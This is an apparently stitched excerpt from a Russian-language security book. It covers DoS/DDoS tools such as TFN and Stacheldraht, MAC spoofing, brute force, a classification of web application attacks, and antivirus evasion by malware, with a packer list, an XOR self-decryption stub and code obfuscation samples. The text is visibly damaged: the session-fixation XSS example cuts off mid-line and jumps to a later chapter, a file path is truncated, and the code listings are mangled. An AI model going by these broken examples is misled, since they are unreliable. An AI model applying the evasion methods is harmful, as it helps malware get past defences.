   Продолжая экскурс по ICMP, более чем уместно упомянуть о так называемой атаке Smurf, представляющей собой пинг-запросы ICMP по адресу направленной широковещательной рассылки с использованием в пакетах этого запроса фальшивого адреса источника. В основе Smurf-атаки стоит использование Smurf-пинг-запросов по адресу направленной широковещательной рассылки. Используемый в пакетах этого запроса фальсифицированный адрес источника совпадает с адресом атакуемого. Системы, получившие направленный широковещательный пинг-запрос, как им и положено, исправно на него отвечают (естественно, тому, от кого пришел запрос). Результатом такого ответа является затопление атакуемого большим количеством сетевых пакетов, что, в конечном счете, приводит к отказу в обслуживании.
   TCP SYN Flood имеет место, в случае если клиент пытается установить TCP-со-единение с сервером, что требует обмена определенной последовательностью сообщений. Сначала клиентская система посылает SYN-пакет на сервер. После этого сервер подтверждает получение SYN-пакета, отсылая SYN-ACK-сообщение клиенту. Затем клиент завершает установку соединения, отвечая сообщением ACK, и затем снова должен произойти обмен данными. В точке, где система сервера послала подтверждение (SYN-ACK) назад клиенту, но еще не получила сообщения ACK, устанавливается полуоткрытое соединение. «Фишка» в том, что параметры, касающиеся всех ждущих обработки соединений, располагаются в оперативной памяти сервера, которая не безразмерна, разумеется. Если преднамеренно создать большое количество частично открытых соединений, то память переполнится, и система подвиснет.
   Атаки Ping of Death заставляют системы реагировать непредсказуемым образом при получении слишком больших IP-пакетов. TCP/IP поддерживает максимальный размер пакета в 65 Кбайт (как минимум 20 байт информации в IP-заголовке, некоторое количество дополнительной информации и остальная часть пакета, содержащая основные данные). Атаки Ping of Death могут вызвать крушение, зависание и перезагрузку системы.
   Tribe Flood Network (TFN) и Tribe Flood Network 2000 (TFN2K) являются распределенными инструментальными средствами, обычно запускающими скоординированные DoS-атаки из многих источников на одну или несколько целей. Использование TFN-атаки дает возможность генерировать пакеты с фальшивыми IP-адресами источника. Механизм атаки приблизительно таков: злонамеренный пользователь посылает с главного компьютера команды нападения на список TFN-серверов или демонов. Затем демоны генерируют указанный тип DoS-атаки на один или несколько IP-адресов жертв. IP-адреса и порты источника атаки могут изменяться совершенно случайным образом, как и размеры пакетов.
   Высокая эффективность современных DDoS-атак достигается путем модификации и комбинирования отдельных ее видов. Уже упомянутые TFN и TFN2K позволяют одновременно инициировать атаки нескольких типов: Smurf, UDP flood, ICMP flood и TCP SYN flood, – что делает их мощным инструментом для подобных задач. Пересылка команд и параметров при этом умело замаскирована в передаваемых данных, чтобы не вызвать подозрений у защитного ПО.
   Как средства организации распределенных атак TFN и TFN2K относительно сложны и требуют от атакующего намного более высокой квалификации, чем в других случаях, но и практическая эффективность их намного выше.
   Ярчайшим представителем средств организации DoS-атак нового поколения является Stacheldracht (дословно «колючая проволока»). Stacheldraht объединяет в себе особенности некоторых DoS-атак, в том числе TFN, шифрование связи между нападающим и главными серверами Stacheldraht и автоматическое обновление агентов. Начальный этап атаки включает активное массированное проникновение в большое количество систем для последующего использования их при атаке. Затем следует заключительный этап, в ходе которого «порабощенные» системы используются для атаки на один или несколько объектов.
   Атаки IP spoofing (подмена IP-адресов) – это не разновидность DoS, но, тем не менее, атаки подобного рода широко используются, в случае если необходимо скрыть IP, что имеет место при организации любой DDoS.
   Атаки MAC spoofing. Применяются для фальсификации MAC-адреса. Атака подобного рода проводится тогда, когда необходимо, чтобы машину взломщика приняли за доверенную машину, в случае если доступ закрыт посредством фильтрации MAC-адресов. Остановимся на технологии подробнее.
   В пределах локальной сети каждая сетевая карта маркируется уникальным MAC-адресом – 12-значным шестнадцатеричным числом. Прежде чем отправить пакет в локальную сеть, драйвер сетевой карты определяет по IP-адресу точки назначения физический адрес сетевой карты компьютера-адресата и помечает пакет соответствующим MAC. На принимающей стороне сетевая карта, получившая пакет со своим MAC-адресом, пропускает его, направляя по цепочке "драйвер – операционная система – приложение".
   Взаимодействие машин в сети на физическом уровне обслуживается протоколом ARP, который представляет собой протокол из набора протоколов TCP/IP, обеспечивающий сопоставление IP-адресов с адресами MAC для пакетов IP. В случае если машина отправляет пакет в пределах подсети, для сопоставления и привязки MAC/IP служит ARP-таблица. При отсутствии записей в ARP-таблице в ход идут данные ARP-кэша. И только в крайнем случае, когда данные нигде не найдены, осуществляется широковещательный ARP-запрос по адресу ff:ff:ff:ff:ff:ff (значит, всем).
   Особенности протокола ARP таковы, что возможна практически беспрепятственная подмена истинных соответствий в ARP-хэше. Для этого может быть использовано специализированное программное обеспечение вроде SMAC или MAC SPOOFER 2006 (рис. 1.6).
   Рис. 1.6. Программа MAC SPOOFER в действии
   Password attacks (атаки для взлома паролей) могут использовать различные методы: лобовая атака, или Brute Force – так называемый грубый перебор паролей. «Брутфорс» – атаки имеют место в том случае, если существует потенциальная возможность множественных попыток аутентификации: электронные ящики, учетные записи FTP, SAM-файлы, PWL-файлы, UIN и т. д. В ходе атаки последовательно перебираются все возможные комбинации символов, сочетание которых может оказаться верным. Процесс такого перебора автоматизирован и осуществляется с помощью специализированного программного обеспечения.
   Packet sniffers – приложение, которое использует сетевой адаптер в «беспорядочном режиме» (когда сетевой адаптер посылает на обработку все пакеты, физически полученные по сети), чтобы захватить все сетевые пакеты, посланные через определенный домен. Снифферы пакетов используются легально в сетях для анализа трафика и поиска неисправностей. Однако, так как некоторые сетевые приложения посылают данные открытым текстом (telnet, FTP, SMTP, POP3 и т. д.), сниффинг пакетов может предоставить даже критически важную информацию, например имена пользователей и пароли.



   1.4. Классификация угроз безопасности веб-серверов


   Многие из читателей наверняка обратили свое внимание на то, какую важную роль в анализе рисков (см. разд. 1.2) играет такой фактор, как угроза. В этой связи будет более чем уместно ознакомиться с перечнем типичных угроз, которые приведены ниже. Настоящая классификация окажется полезна и подготовленным читателям, и тем, кто углубленно интересуется вопросами компьютерной безопасности.
   Очередной раз выходя в Интернет и привычно набирая в браузере дорогой сердцу адрес, мы убеждаемся снова и снова, что не так уж все и плохо: апокалипсис постоянно кто-то переносит, а мы живем в мире высоких технологий, и это не может не радовать. Интернет стал для многих из нас настолько привычным, что иногда кто-нибудь да и допустит мысль о его существовании со времени сотворения мира. Между тем за кажущейся простотой и удобством стоит четкая и отлаженная работа узлов Сети. Было бы наивно полагать, что все совершенно, особенно если речь идет о вещах, сосуществующих в столь динамичной среде. Просматривая горячие двадцатки SANS, предупреждения EEYE, горячий эксклюзив от SecurityLab, убеждаешься снова и снова: безопасность есть процесс, а не состояние.
   В рамках данного раздела мы поговорим с вами о безопасности веб-серверов, а точнее постараемся внести ясность и создать некое подобие современной классификации веб-угроз. Предпосылки к созданию подобной классификации очевидны. За последние несколько лет индустрия безопасности веб-приложений адаптировала немалое количество не совсем точных терминов, описывающих уязвимости. Такие названия уязвимостей, как "подделка параметров" (Parameter Tampering), "меж-сайтовое выполнение сценариев" (Cross-site Scripting) и "отравление печений" (Cookie Poisoning) (да-да, именно так), мягко говоря, не совсем точно определяют суть проблемы и возможные последствия атак. Отсутствие четкости в определениях часто вызывает проблемы и взаимонепонимание, даже если стороны согласны с основной идеей.
   Когда начинающий специалист безопасности веб-приложений приступает к обучению, его быстро вводит в заблуждение отсутствие стандартного языка. Подобная ситуация не только не способствует профессиональному овладению предметом, но и замедляет понимание картины в целом. Появление классификации угроз безопасности веб-приложений является исключительно важным событием в мире IT.
   По известным причинам только система знаний, а не ее разрозненный, дискретный вариант, может служить показателем высшей квалификации разработчиков приложений, специалистов в области безопасности, производителей программных продуктов. На основе классификации в дальнейшем могут быть созданы методики обследования приложений, рекомендации по разработке приложений с учетом безопасности, требования к продуктам и службам. Следующая классификация есть результат проработки различных книг, десятков статей и презентаций. У ее истоков стоит Web Application Security Consortium, представители которой создали базу для разработки и популяризации стандартной терминологии описания подобных проблем (www.webappsec.org).
   Представленная классификация окажется полезной прежде всего специалистам, хотя в целом материал направлен на широкий круг читателей, интересующихся проблемами компьютерной безопасности.


   Классы атак

   Современная классификация имеет иерархическую структуру. Классы атак разбиты по пунктам (1; 2 и т. д.) с соответствующими подпунктами (1); 2) и т. д.). Название класса атаки представлено как в русском варианте, так и в английском.
   1. Аутентификация (Authentication):
   1) подбор (Brute Force);
   2) недостаточная аутентификация (Insufficient Authentication);
   3) небезопасное восстановление паролей (Weak Password Recovery Validation).
   2. Авторизация (Authorization):
   1) предсказуемое значение идентификатора сессии (Credential/Session Prediction);
   2) недостаточная авторизация (Insufficient Authorization);
   3) отсутствие тайм-аута сессии (Insufficient Session Expiration);
   4) фиксация сессии (Session Fixation).
   3. Атаки на клиентов (Client-side Attacks):
   1) подмена содержимого (Content Spoofing);
   2) межсайтовое выполнение сценариев (Cross-site Scripting, XSS);
   3) расщепление HTTP-запроса (HTTP Response Splitting).
   4. Выполнение кода (Command Execution):
   1) переполнение буфера (Buffer Overflow);
   2) атака на функции форматирования строк (Format String Attack);
   3) внедрение операторов LDAP (LDAP Injection);
   4) выполнение команд операционной системы (OS Commanding);
   5) внедрение операторов SQL (SQL Injection);
   6) внедрение серверных расширений (SSI Injection);
   7) внедрение операторов XPath (XPath Injection).
   5. Разглашение информации (Information Disclosure):
   1) индексирование директорий (Directory Indexing);
   2) идентификация приложений (Web Server/Application Fingerprinting);
   3) утечка информации (Information Leakage);
   4) обратный путь в директориях (Path Traversal);
   5) предсказуемое расположение ресурсов (Predictable Resource Location).
   6. Логические атаки (Logical Attacks):
   1) злоупотребление функциональными возможностями (Abuse of Functionality);
   2) отказ в обслуживании (Denial of Service);
   3) недостаточное противодействие автоматизации (Insufficient Anti-automation);
   4) недостаточная проверка процесса (Insufficient Process Validation).
   Пункт и подчиненные ему подпункты разбиты на разделы. Класс атаки имеет краткое описание и дополняется соответствующим "живым" примером. Ну что ж, начнем по порядку.
   Аутентификация
   Классифицируем атаки, направленные на обход или эксплуатацию уязвимостей в механизмах реализации аутентификации веб-серверов.
   Подбор (Brute Force). Подбор, или просто «брут», как его ласково любят называть хакеры, представляет собой автоматизированный процесс проб и ошибок, основной задачей которого является угадывание имени пользователя, пароля, номера кредитной карты, ключа шифрования и т. д. Многие системы позволяют использовать слабые пароли или ключи шифрования, и пользователи часто выбирают легко угадываемые или содержащиеся в словарях парольные фразы. Трагизм еще и в том, что пользователи намеренно выбирают простые пароли, так как сложные, помимо времени ввода, неудобны еще и тем, что легко забываются. Воспользовавшись данной ситуацией, злонамеренный пользователь может применить электронный словарь (что чаще всего и делается) и попытаться использовать всю мощь содержащихся в нем комбинаций символов в качестве пароля. Если сгенерированный пароль позволяет получить доступ к системе, атака считается успешной, и атакующий может использовать учетную запись.
   Подобная техника проб и ошибок может быть с успехом использована для подбора ключей шифрования. В случае использования сервером ключей недостаточной длины злоумышленник может получить используемый ключ, протестировав все возможные комбинации. Существует два вида подбора: прямой и обратный. При прямом подборе используются различные варианты пароля для одного имени пользователя (например, имя пользователя – Lamer, пароли – fuck, world, qwerty, 123321…). При обратном – перебираются различные имена пользователей, а пароль остается неизменным (например, имена пользователей – User, Intel, Sara, Vaviorka…, пароль – 12345678). В системах с миллионами учетных записей вероятность использования различными пользователями одного пароля довольно высока. Несмотря на популярность и высокую эффективность, подбор может занимать несколько часов, дней или лет. Данный вид атак широко используется преимущественно там, где отсутствует блокировка в случае неверного сочетания, – это может быть простой взлом NTLM-хэшей и т. д.
   Недостаточная аутентификация (Insufficient Authentication). Данная уязвимость возникает тогда, когда веб-сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации. Атаки подобного рода очень часто реализуются посредством интерфейса администрирования через сеть. Чтобы не использовать аутентификацию, некоторые ресурсы по умолчанию «сидят в укромном месте» по определенному адресу, который не указан на основных страницах сервера или других общедоступных ресурсах.
   Однако подобный подход не более чем "безопасность через сокрытие". Важно понимать, что несмотря на то что злоумышленник не знает адреса страницы, она все равно доступна через веб. Необходимый URL может быть найден путем перебора типичных файлов и директорий (таких как /admin/) с использованием сообщений об ошибках, журналов перекрестных ссылок или путем простого чтения документации. Подобные ресурсы должны быть защищены адекватно важности их содержимого и функциональных возможностей.
   К примеру, многие веб-приложения по умолчанию используют для административного доступа ссылку в корневой директории сервера (/admin/). Обычно ссылка на эту страницу не фигурирует в содержимом сервера, однако страница доступна с помощью стандартного браузера. Поскольку пользователь или разработчик предполагает, что никто не воспользуется этой страницей, так как ссылки на нее отсутствуют, зачастую реализацией аутентификации пренебрегают. В результате для получения контроля над сервером злоумышленнику достаточно зайти на эту страницу.
   Небезопасное восстановление паролей (Weak Password Recovery Validation).
   Данная уязвимость реализуется, благодаря тому что веб-сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей. Часто аутентификация на веб-сервере требует от пользователя запоминания пароля или парольной фразы. Строгая политика безопасности предусматривает, что только пользователь должен знать пароль, причем помнить его отчетливо. Но, как оно всегда бывает, со временем пароль забывается. Ситуация усложняется еще и тем, что у многих по несколько электронных ящиков.
   Примером реализации подобной функции является использование "секретного вопроса", ответ на который указывается в процессе регистрации. Вопрос либо выбирается из списка, либо вводится самим пользователем. Еще один механизм позволяет пользователю указать "подсказку", которая поможет ему вспомнить пароль. Другие способы требуют от пользователя указать часть персональных данных – таких как номер паспорта, домашний адрес, почтовый индекс и т. д., – которые затем будут использоваться для установления личности. После того как пользователь докажет свою идентичность, система отобразит новый пароль или перешлет его по почте. Система восстановления пароля может быть скомпрометирована путем использования подбора, уязвимостей системы или из-за легко угадываемого ответа на секретный вопрос.
   Многие серверы требуют от пользователя указать его электронный адрес в комбинации с домашним адресом и номером телефона. Эта информация может быть легко получена из сетевых справочников. В результате данные, используемые для проверки, не являются большим секретом. Кроме того, эта информация может быть получена злоумышленником с использованием других методов – таких как межсайтовое выполнение сценариев или фишинг. Одно из слабых звеньев, несомненно, – парольные подсказки. Сервер, использующий подсказки для облегчения запоминания паролей, может быть атакован, поскольку подсказки помогают в реализации подбора паролей. Пользователь может использовать стойкий пароль, например "27Пуаро10", с соответствующей подсказкой: "детектив". Атакующий может заключить, что пользовательский пароль состоит из даты рождения и имени любимого автора пользователя. Это помогает сформировать относительно короткий словарь для атаки путем перебора.
   Авторизация
   Многие сайты разрешают доступ к некоторому содержимому или функциям приложения только определенным пользователям. Доступ для других должен быть ограничен. Используя различные техники, злоумышленник может повысить свои привилегии и получить доступ к защищенным ресурсам.
   Предсказуемое значение идентификатора сессии (Credential/Session Prediction).
   Предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей. Подобные атаки выполняются путем предсказания или угадывания уникального идентификатора сессии пользователя. Эта атака, так же как и перехват сессии (Session Hijacking), в случае успеха позволяет злоумышленнику послать запрос веб-серверу с правами скомпрометированного пользователя. Дизайн многих серверов предполагает аутентификацию пользователя при первом обращении и дальнейшее отслеживание его сессии. Для этого пользователь указывает комбинацию имени и пароля. Вместо повторной передачи имени пользователя и пароля при каждой транзакции веб-сервер генерирует уникальный идентификатор, который присваивается сессии пользователя. Последующие запросы пользователя к серверу содержат идентификатор сессии как доказательство того, что аутентификация была успешно пройдена. Если атакующий может предсказать или угадать значение идентификатора другого пользователя, это может быть использовано для проведения атаки.
   Так, многие серверы генерируют идентификаторы сессии, используя алгоритмы собственной разработки. Подобные алгоритмы могут просто увеличивать значение идентификатора для каждого запроса пользователя. Другой распространенный вариант – использование функции от текущего времени или других специфичных для компьютера данных. Идентификатор сессии сохраняется в cookie, скрытых полях форм или URL. Если атакующий имеет возможность определить алгоритм, используемый для генерации идентификатора сессии, он может выполнить следующие действия:
   ♦ подключиться к серверу, используя текущий идентификатор сессии;
   ♦ вычислить или подобрать следующий идентификатор сессии;
   ♦ присвоить полученное значение идентификатора cookie/скрытому полю формы/URL.
   Недостаточная авторизация (Insufficient Authorization). Недостаточная авторизация возникает, когда веб-сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен. Успешное прохождение аутентификации пользователем вовсе не означает, что он должен получить доступ ко всем функциям и содержимому сервера. Кроме аутентификации, должно быть реализовано разграничение доступа. Процедура авторизации определяет, какие действия может совершать пользователь, служба или приложение. Грамотно построенные правила доступа должны ограничивать действия пользователя согласно политике безопасности. Доступ к важным ресурсам сайта должен быть разрешен только администраторам.
   В прошлом многие веб-серверы сохраняли важные ресурсы в скрытых директориях – таких как /admin или /Log. Если атакующий запрашивал эти ресурсы напрямую, он получал к ним доступ и мог перенастроить сервер, получить доступ к важной информации либо полностью скомпрометировать систему. Некоторые серверы после аутентификации сохраняют в cookie или скрытых полях идентификатор «роли» пользователя в рамках веб-приложения. Если разграничение доступа основывается на проверке данного параметра без верификации принадлежности к роли при каждом запросе, злоумышленник может повысить свои привилегии, просто модифицировав значение cookie. К примеру, значение cookie: Session Id = 12345678; Role = User заменяется на SessionId = 12345678; Role = Admin.
   Отсутствие тайм-аута сессии (Insufficient Session Expiration). Если для идентификатора сессии или учетных данных не предусмотрен тайм-аут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации. Это повышает уязвимость сервера для атак, связанных с кражей идентификационных данных. Поскольку протокол HTTP не предусматривает контроль сессии, веб-серверы обычно используют идентификаторы сессии для определения запросов пользователя. Таким образом, конфиденциальность каждого идентификатора должна быть обеспечена, чтобы предотвратить множественный доступ пользователей с одной учетной записью. Похищенный идентификатор может использоваться для доступа к данным пользователя или осуществления мошеннических транзакций. Отсутствие тайм-аута сессии увеличивает вероятность успеха различных атак. К примеру, злоумышленник может получить идентификатор сессии, используя сетевой анализатор или уязвимость типа «межсайтовое выполнение сценариев». Хотя тайм-аут не поможет, в случае если идентификатор будет использован немедленно, ограничение времени действия поможет при более поздних попытках использования идентификатора. В другой ситуации, если пользователь получает доступ к серверу с публичного компьютера (библиотека, интернет-кафе и т. д.), отсутствие тайм-аута сессии может позволить злоумышленнику воспользоваться историей браузера для просмотра страниц пользователя. Большое значение тайм-аута увеличивает шансы подбора действующего идентификатора. Кроме того, увеличение этого параметра ведет к увеличению одновременно открытых сессий, что еще больше повышает вероятность успешного подбора.
   При использовании публичного компьютера, когда несколько пользователей имеют неограниченный физический доступ к машине, отсутствие тайм-аута сессии позволяет злоумышленнику просматривать страницы, посещенные другим пользователем. Если функция выхода из системы просто перенаправляет на основную страницу веб-сервера, а не завершает сессию, страницы, посещенные пользователем, могут быть просмотрены злоумышленником. Поскольку идентификатор сессии не был отмечен как недействительный, атакующий получит доступ к страницам сервера без повторной аутентификации.
   Фиксация сессии (Session Fixation). Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение. В зависимости от функциональных возможностей сервера существует несколько способов зафиксировать значение идентификатора сессии. Для этого могут использоваться атаки типа «межсайтовое выполнение сценариев» или подготовка сайта с помощью предварительного HTTP-запроса. После фиксации значения идентификатора сессии атакующий ожидает момента, когда пользователь войдет в систему. После входа пользователя злоумышленник использует идентификатор сессии для получения доступа к системе от имени пользователя.
   Существуют два механизма управления сессиями на основе идентификаторов. Первый из них – так называемый разрешающий – основан на том, что конкретный идентификатор сессии присваивается браузером. Механизмы второго типа – строгого – функционируют с идентификаторами, сгенерированными сервером. В случае разрешающих механизмов злонамеренный пользователь может выбрать любой идентификатор сессии. При условии отсутствия спецзащиты от фиксации сессии данная атака может быть использована против любого сервера, аутентифицирующего пользователей с помощью идентификатора сессии. Не секрет, что большинство веб-серверов сохраняют ID в cookie, но это значение также может присутствовать в URL или скрытом поле формы. К сожалению, системы, использующие cookie, являются наиболее уязвимыми.
   Большинство известных в настоящий момент вариантов фиксации сессии направлено именно на значение cookie (кстати, не грех будет напомнить, что сохраненные пароли вашего электронного ящика, входа на персональный сайт и прочие сохраняются все в тех же пресловутых cookie, которые можно найти по адресу: and Settings\Username\Cookies). После описанного выше нетрудно догадаться, каким именно образом программы, предназначенные для шпионажа, похищают ваши конфиденциальные данные.
   Рассмотрим подробно атаку, направленную на фиксацию сессии. Атака осуществляется в три этапа. На первом этапе злонамеренный пользователь устанавливает на атакуемом сервере так называемую сессию-заглушку и получает (или выбирает произвольный в зависимости от механизма) от него идентификатор. На втором этапе, собственно, и происходит фиксация сессии, когда злоумышленник передает значение идентификатора сессии-заглушки браузеру пользователя и фиксирует его идентификатор. Данный пункт реализуется посредством модификации значения cookie с помощью пресловутого XSS.
   Следующим шагом атакующего является собственно подключение к сессии. Атакующий ожидает аутентификации пользователя на сервере. После захода пользователя на сайт злоумышленник подключается к серверу, используя зафиксированный идентификатор, и получает доступ к сессии пользователя. Как вы уже поняли, "гвоздем программы" является фиксация ID, которая реализуется посредством следующих действий.
   ♦ При наличии уязвимости типа "межсайтовое выполнение сценариев" злоумышленник получает возможность установить определенное значение cookie на стороне клиента посредством следующего кода: httр://example/
   Применение ActiveX-компонентов делает веб-страницы более интерактивными. Но за удобство и функциональность можно дорого заплатить: многочисленные уязвимости IE позволяют, к примеру, неподписанные (они же небезопасные) компоненты ActiveX представить пользователю как подписанные (безопасные, так как происхождение и содержание такого компонента подтверждено электронной подписью удостоверяющего центра) или вообще скрыть от глаз выполнение произвольного сценария.
   Возможные варианты защиты в подобных случаях.
   ♦ Задание безопасных настроек браузера (Сервис ► Свойства обозревателя ► Безопасность ► Высокий).
   ♦ Как альтернатива, конфигурирование зон интернет-безопасности вручную (Сервис ► Свойства обозревателя ► Безопасность ► Другой ► Загрузка неподписанных элементов ActiveX ► Отключить, Активные сценарии ► Отключить и т. д.).
   ♦ Ну и, конечно же, бдительность пользователя. К примеру, прежде чем вышеописанный сценарий сделает свое черное дело, система два раза "аккуратно намекнет" на потенциальную опасность (рис. 5.1 и 5.2).
   Рис. 5.1. Первое предупреждение
   Рис. 5.2. Второе предупреждение


   5.3. Антология сокрытия вирусного кода


   Не секрет, что выживаемость современного вредоносного ПО в большей степени обусловлена его параллельной эволюцией с антивирусными продуктами. Современный антивирус уже не тот, который был год-два тому назад, – это факт. Для отлова и уничтожения вредоносного кода в антивирусах реализованы самые передовые и изощренные технологии: модули проактивной защиты и анализа подозрительного поведения, контроль целостности приложений и реестра и др. Стоит только такому «зверю» показать себя, как его тут же пропустят через «мясорубку», в роли которой, как вы уже догадались, выступает антивирусный сканер, после чего подозрительные остатки окажутся «на приеме» у эвристического анализатора.
   Ну да, казалось бы, после такого чистилища какой из экземпляров вирусного кода выстоит? Но нет. Все же факт остается фактом: ежедневно регистрируется появление более сотни экземпляров вирусного кода, и каждый из экземпляров рожден, чтобы остаться невидимкой.
   На сегодняшний день можно выделить следующие наиболее популярные методы сокрытия:
   ♦ упаковка;
   ♦ полиморфизм;
   ♦ обфускация;
   ♦ руткит-технологии;
   ♦ сокрытие в среде.
   Даже этого, далеко не полного списка достаточно, чтобы представить себе, насколько технологичны современные методы сокрытия вирусного кода.


   Упаковка

   Начнем с упаковки как самого популярного метода сокрытия вирусного кода. К слову будет сказано, именно упаковка является самым простым инструментом, чтобы скрыть вирус, который уже засветился в антивирусных базах.
   Упаковка заключается в сжатии исполняемого файла и прикреплении к нему кода, необходимого для распаковки и исполнения.
   Как метод сокрытия упаковка представляет собой довольно грозное оружие. Достаточно привести пример: грамотно упакованный червь способен вызвать не менее серьезную, чем его первообраз, эпидемию, ведь такой червь распознается антивирусами как новый экземпляр. Не секрет, что большинство из ныне присутствующих в сети вредоносных программ есть не что иное, как модификации посредством упаковки. Например, широко известный троянский конь Backdoor.Rbot распространяется упакованным множеством различных упаковщиков (Ezip, Exe32Pack, ExeStealth, PecBundle, PECompact, FSG, UPX, Morphine, ASPack, Petite, PE-Pack, PE-Diminisher, PELock, PESpin, TeLock, Molebox, Yoda, Ezip, Krypton и др.).
   Когда антивирусу попадается упакованный файл, он его, понятное дело, пытается распаковать. Получается, что чем с большим количеством упаковщиков способен работать антивирус, тем больше у него шансов обнаружить упакованный код.
   Поддержка большого количества разновидностей упаковщиков и архиваторов особенно критична для проверки почтовых систем, так как подавляющая часть вирусов пересылается по почте в архивированном виде.
   Вам наверняка интересно понять разницу между архиватором и упаковщиком. А разница в том, что сжатое упаковщиком разжимается в память, архиватором – на диск.
   Понятно, что добраться до упакованного кода можно, лишь распаковав его. Но и это не всегда просто. Посмотрим почему.
   Распаковщики делятся на динамические и статические. Динамические распаковщики (например, procdump или PEiD) запускают файл и создают распакованный вариант файла из образа, загруженного в память. Однако, если этот файл содержал вирус (а он его содержит!), система может быть повреждена раньше, чем антивирус успеет что-либо сделать. Кроме того, у упаковщиков существует ряд приемов борьбы с динамической распаковкой, например расшифровывать код не полностью, а лишь по мере исполнения, или, например, расшифровывать и запускать вирус целиком только в определенный день недели.
   Статические распаковщики – это те, которые пытаются распаковать файл, не запуская его (например, CUP386 или UNP). Очень часто статические распаковщики оказываются бесполезны, если алгоритм упаковки требует запуска файла.
   Чтобы представить себе весь размах упаковки, достаточно привести этот скромный список упаковщиков, применяемых при сокрытии вирусного кода: EP (ExE Pack), ACProtect, Active PE Scrambler, AHTeam UPX Mutanter, Armadillo SPS, ASPack, ASProtect, ASProtect SKE, aUS [Advanced UPX Scrambler], Beria, DEF, Enigma Protector, Exe Stealth, Exe32Pack, EXECryptor, EXERefactor, eXPressor, Fake Ninja, fileEncrypt, FSG, GPcH Protect, Hide PE, HidePX, hyings PE-Armor, JDPack, KByS Packer, kkrunchy, Krypton The Krypter, Mew 11 SE, MoleBox Pro, Morphine, mPack, MSLRH, nPack, NsPack, Obsidium, ORiEN, Packman, PC Guard, PE Diminisher, PECompact, PELock, PEQuake, PESpin, PeStubOEP, Petite, PeX, Private exe Protector, PseudoSignerRLP, SDProtector Pro, Special EXE Password Protector, SHProtector, ShrinkWrap, SLVc0deProtector, Spirits PE Crasher, Stealth PE, tElock, Themida,
   TPPpack, TrueEP, Unopix, UPX, VB AntiCrack, VMProtect, WinUpack, yoda Crypter, yoda Protector, [G!X]s Protector.
   Кому-то из читателей этот список, наверное, может показаться большим – а ведь это всего лишь десятая часть от того, что в настоящее время применяется.
   Очень часто, чтобы запутать антивирус и сделать так, чтоб тот не смог распознать, чем запакован код, вирус дополнительно пропускают через утилиты типа PEiD, основной задачей которого является изменение точки входа в программу, но об этом более подробно в подразд. "Обфускация" этого раздела.


   Полиморфизм

   Полиморфизм представляет собой способность вируса в процессе работы менять свой код таким образом, чтобы максимально затруднить процесс своего обнаружения путем сигнатурного сканирования и частично эвристики.
   Особо следует отметить тот факт, что и сама процедура, определяющая мутацию кода, не должна быть постоянной. Такая процедура изменения вируса видоизменяется при каждом новом заражении.
   На самом деле обнаружение грамотно написанного полиморфного вируса средствами обычного сигнатурного сканирования невозможно. Неудивительно, что с появлением полиморфизма во многих антивирусных продуктах появились принципиально новые техники обнаружения: эвристика и эмуляторы кода.
   Первый известный полиморфный вирус 1260 был написан Марком Вашберном (Mark Washburn) уже в далеком 1990 году.
   Пожалуй, самый простой способ реализации полиморфизма заключается в том, чтобы побайтно зашифровать основную часть вируса операцией XOR (листинг 5.3).
   Листинг 5.3. Побайтное шифрование – простейший пример
   mov cx, code_length
   mov si, offset begin_code
   mov al, xor_key
   _loop:
   xor [si+cx], al расшифровываем байт
   loop _loop ;берем следующий байт
   jmp si
   ;…
   ;…
   begin_code:
   ;зашифрованная часть тела вируса – здесь!
   ;она ответственна за заражение новых файлов
   ;и создание новой процедуры расшифровки
   В качестве примера уместно привести описание следующего полиморфного вируса (www.virusList.com).
   Virus.Win32.Zombie – сложный полиморфный вирус, который использует уникальную технологию встраивания в файлы: вирус "разбирает" (дизассембли-рует) PE EXE-файл на составные части, встраивает свой код и собирает заново, перемешивая при этом свой код и код заражаемого файла. Virus.Win32.Zombie использует уникальную технологию декриптования своего тела для обхода эвристических анализаторов.


   Обфускация

   Обфускация (от лат. obfuscare – «затенять, затемнять») – техника, направленная на запутывание кода программы, то есть приведение исходного текста или исполняемого кода к работающему виду, но затрудняющему анализ такого кода.
   Обфускация может быть проведена на уровне алгоритма, на уровне исходного текста или вообще ассемблерного текста. Так, создание запутанного ассемблерного текста может быть достигнуто путем использования специализированных компиляторов. Такие компиляторы, как правило, заново создают код, используя для этого недокументированные возможности среды выполнения программы.
   Для создания "запутанного" кода существуют специализированные утилиты, которые так и называются– обфускаторы.
   В контексте сокрытия вирусного кода суть метода заключается в том, чтобы запутать программный код и устранить в нем большинство логических связей, делая код максимально неузнаваемым антивирусным ПО (листинги 5.4, 5.5).
   Листинг 5.4. Некоторые примеры обфускации кода. Пример № 1
   int COUNT = 100;
   float TAX_RATE = 0.2;
   for (int i=0; i    {
   tax[i] = orig_price[i] * TAX_RATE; price[i] = orig_price[i] + tax[i];
   }
   Код после обфускации:
   for(int a=0;a<100;a++){b[a]=c[a]*0.2;d[a]=c[a]+b[a];}
   Листинг 5.5. Некоторые примеры обфускации кода. Пример № 2 (Perl)
   my $filter;
   if (@pod) {
   my ($buffd, $buffer) = File::Temp::tempfile(UNLINK => 1);
   print $buffd "";
   print $buffd @pod or die "";
   print $buffd
   close $buffd or die "";
   @found = $buffer;
   $filter = 1;
   }
   exit;
   sub is_tainted {
   my $arg = shift;
   my $nada = substr($arg, 0, 0); # zero-length
   local $@; # preserve caller's version
   eval { eval "#" }; return length($@) != 0;
   }
   sub am_taint_checking {
   my($k,$v) = each %ENV;
   return is_tainted($v);
   }
   После обфускации:
   sub z109276e1f2 { ( my $z4fe8df46b1 = shift ( @_ ) ) ; ( my
   $zf6f94df7a7 = substr ( $z4fe8df46b1 ,
   (0x1eb9+ 765-0x21b6) , (0x0849+ 1465-0x0e02) ) ) ; local $@ ;
   eval { eval ( (
   "" ) ) ; } ; return ( ( length ( $@ ) != (0x26d2+ 59-0x270d) ) )
   ; } my ( $z9e5935eea4 ) ; if ( @z6a703c020a ) { ( my (
   $z5a5fa8125d , $zcc158ad3e0 ) =
   File::Temp::tempfile ( "" , (0x196a+ 130-0x19eb) ) ) ; print (
   $z5a5fa8125d "" ) ; ( print ( $z5a5fa8125d @z6a703c020a
   ) or die ( ( ( ( "" . $zcc158ad3e0 ) . "\x3a\x20" ) . $! ) ) ) ;
